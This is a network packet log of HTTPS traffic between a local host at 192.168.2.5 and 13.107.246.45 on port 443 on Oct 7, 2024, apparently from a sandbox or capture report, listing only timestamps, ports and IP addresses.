Oct 7, 2024 06:44:22.781555891 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.782032013 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.782037973 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.819011927 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.819506884 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.819535017 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.819936991 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.819942951 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.838257074 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.838710070 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.838727951 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.839188099 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.839194059 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.875602961 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.875684023 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.875788927 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.876147032 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.876163960 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.876199007 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.876205921 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.878781080 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.878814936 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.878880978 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.879328012 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.879344940 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.880805016 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.880872011 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.880994081 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.881027937 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.881047964 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.881057978 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.881063938 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.883336067 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.883378983 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.883450985 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.883584023 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.883594036 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.918062925 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.918140888 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.918204069 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.918412924 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.918435097 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.921382904 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.921435118 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.921493053 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.921673059 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.921688080 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.938175917 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.938237906 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.938286066 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.938539028 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.938554049 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.941365957 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.941401958 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.941483974 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.941684961 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.941699028 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.998269081 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.998722076 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.998785019 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.999259949 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.999278069 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.101368904 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.101455927 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.101567030 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.111377001 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.111402988 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.111421108 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.111428976 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.114290953 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.114321947 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.114429951 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.114583969 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.114595890 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.532393932 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.533704042 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.533724070 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.534212112 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.534219027 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.554585934 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.555075884 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.555090904 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.555541039 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.555546999 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.561588049 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.562016010 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.562041044 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.562521935 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.562526941 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.577794075 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.578198910 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.578214884 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.578655958 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.578664064 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.633471966 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.633541107 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.633656979 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.633825064 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.633841991 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.633852005 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.633857965 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.636573076 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.636610985 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.636714935 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.636846066 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.636854887 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.659879923 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.659948111 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.659995079 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.660171032 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.660197973 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.660212040 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.660221100 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.661485910 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.661676884 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.661735058 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.661988020 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.662008047 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.662022114 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.662029028 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.663085938 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.663109064 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.663176060 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.663336992 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.663347006 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.664381981 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.664422989 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.664482117 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.664603949 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.664623976 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.676156044 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.676208973 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.676414967 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.676446915 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.676446915 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.676465988 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.676481009 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.678273916 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.678301096 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.678383112 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.678488016 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.678503036 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.774646997 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.775337934 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.775361061 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.776266098 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.776273012 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.877684116 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.877775908 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.877943993 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.877996922 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.878011942 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.878026009 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.878031969 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.880894899 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.880944014 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:23.881056070 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.881206989 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:23.881220102 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.332611084 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.333699942 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.333728075 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.334677935 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.334683895 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.431940079 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.432109118 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.432178974 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.432292938 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.432312965 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.432324886 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.432332039 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.435132027 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.435172081 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.435360909 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.435550928 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.435564041 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.518347025 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.518990993 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.518999100 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.519452095 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.519457102 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.522664070 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.522680998 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.522977114 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.522985935 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.523086071 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.523101091 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.523458004 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.523463011 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.523523092 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.523530006 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.528245926 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.528609991 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.528619051 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.528960943 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.528965950 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.619741917 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.619888067 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.620031118 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.620065928 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.620075941 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.620096922 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.620102882 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.622900963 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.622961044 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.623042107 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.623177052 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.623197079 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.625566006 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.625641108 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.625689030 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.625771999 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.625788927 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.625802040 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.625819921 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.626528025 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.626585007 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.626661062 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.626786947 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.626795053 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.626804113 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.626807928 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.628196955 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.628226995 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.628304958 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.628429890 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.628443956 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.628637075 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.628671885 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.628729105 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.628856897 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.628869057 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.629373074 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.629448891 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.629527092 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.629551888 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.629555941 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.629565001 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.629568100 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.631387949 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.631397963 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:24.631457090 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.631601095 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:24.631612062 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.104922056 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.105437994 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.105456114 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.105906010 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.105911970 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.207345009 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.207540035 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.207597017 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.207839966 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.207859039 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.207869053 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.207876921 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.210881948 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.210921049 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.211086035 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.211922884 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.211940050 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.262187004 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.262867928 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.262923956 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.263469934 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.263475895 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.266149998 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.266721010 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.266731024 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.269150972 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.269159079 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.280885935 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.281786919 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.281837940 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.283642054 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.283655882 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.290738106 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.291795015 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.291805983 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.292476892 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.292481899 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.361979961 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.362045050 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.362179995 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.362319946 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.362346888 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.362358093 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.362364054 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.364962101 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.365010977 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.365191936 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.365341902 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.365355968 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.366981030 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.367068052 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.367325068 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.367350101 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.367357016 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.367364883 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.367368937 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.369863033 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.369901896 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.369975090 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.370094061 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.370106936 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.384902000 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.385071993 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.385389090 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.385477066 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.385477066 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.385521889 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.385552883 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.388181925 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.388202906 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.388303041 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.388398886 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.388410091 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.397125006 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.397198915 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.397456884 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.397479057 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.397484064 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.397495031 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.397499084 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.400397062 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.400408030 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.400820971 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.400964975 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.400976896 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.865995884 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.867413998 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:25.867433071 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:25.867872000 CEST	49771	443	192.168.2.5	13.107.246.45
